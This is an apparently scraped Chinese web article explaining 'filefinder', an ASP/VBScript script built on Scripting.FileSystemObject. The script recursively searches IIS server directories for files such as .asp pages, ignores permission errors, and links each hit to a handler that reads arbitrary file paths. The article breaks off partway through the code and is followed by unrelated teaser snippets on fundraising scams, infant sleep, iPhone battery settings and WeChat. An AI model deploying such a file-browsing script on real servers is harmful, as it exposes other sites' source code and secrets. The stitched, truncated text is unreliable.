scripting.filesystemobject 对象是由 scrrun.dll 提供的许多供 vbscript/jscript 控制的 com 对象之一。scripting.filesystemobject 提供了非常便利的文本文件和文件目录的访问,但是同时也对 iis web 服务器数据安全造成了一定的威胁。
filefinder 的代码很简单,由3 个函数和 30 行左右的顺序代码构成。
最关键的是 findfiles 函数,通过对它的递归调用实现对某个目录的遍历,并且按照特定的文件扩展名来搜寻这些文件。
function findfiles(strstartfolder, strext)
dim n
dim othisfolder
dim ofolders
dim ofiles
dim ofolder
dim ofile
' 如果系统管理员对文件系统的权限进行细致的设置话,下面的代码就要出错
' 但是有些目录还是可以察看的,所以我们简单的把错误忽略过去
on error resume next
n = 0
response.write "<b>searching " & strstartfolder & "</b><br>"
set othisfolder = g_fs.getfolder(strstartfolder)
set ofiles = othisfolder.files
for each ofile in ofiles
' 如果是指定的文件扩展名,输出连接导向本身,但用不同的命令 cmd
' 在这里是 cmd=read,即读出指定物理路径的文本文件
if issuffix(ofile.path, strext) then
response.write "<a target=_blank href='ff.asp?cmd=read&path=" & server.htmlencode(ofile.path) & "'><font color='dodgerblue'>" & ofile.path & "</font></a><br>"
if err = 0 then
n = n + 1
end if
end if
next
set ofolders = othisfolder.subfolders
for each ofolder in ofolders
n = n + findfiles(ofolder.path, strext)
next
findfiles = n
end function
下面的代码是对 url 后面的参数进行分析:
' 读出各个参数的值
strcmd = ucase(request.querystring("cmd"))
strpath = request.querystring("path")
strext = request.querystring("ext")
brawdata = ucase(request.querystring("raw"))
' 默认搜索 .asp 文件
if strpath = "" then
strpath = "."
end if
if strext = "" then
strext = ".asp"
end if
' 根据不同的命令 cmd 执行不同的代码
近些年,大家在“徒劳无益”、“养老服务”和“高收益”的引诱下,常常深陷非法融资的圈套,造成了我国的重视。本文将揭秘非法融资的真正相貌,并教你怎样防止掉入非法融资的圈套。 非法融资就是指企业、公司、本...
虽然现在各种社交软件APP层出不穷,仍然有很多企业家在不断创新,例如,像罗先生这样的人真的是每天都有一个新宝宝,希望能在这里的一个社交平台上分享,但没有办法让这一块坚如磐石的微信摇晃起来。 教你怎么...
孩子每天的睡眠时间正常会对他的成长还是有很大的便利的,不过不同年龄的孩子所需要的睡眠时间是不同的。那么0-13岁宝宝睡眠时间是多少呢,不同的宝宝睡觉要多久时间呢,友谊长存小编为大家带来了解答。 日前...
电池百分比(电池百分比苹果12) 苹果12pro怎么显示电池百分比?还不知道方法的朋友们,小编就为大家带百思特网来显示电池百分比方法介绍,接着往下看吧。 苹果12pro怎么显示电池百分比?...
每个宝宝都会经历人生中猛长期,在这个过程中,一些宝宝可能吃奶变得很频繁或长时间不睡的情况,有可能是宝宝到了猛长期的阶段,那么,除此之外,宝宝猛长期的具体表现有什么呢?接下来友谊长存小编就来说一说。...
手机同步另一方会知道吗(如何判断微信被同歩了)近期微信被检测的信息传得议论纷纷的。 无论企业公司是否根据微信聊天记录向客户消息推送广告宣传內容的,最少大家都应当提升本人要素的安全意识,保护自己的私人...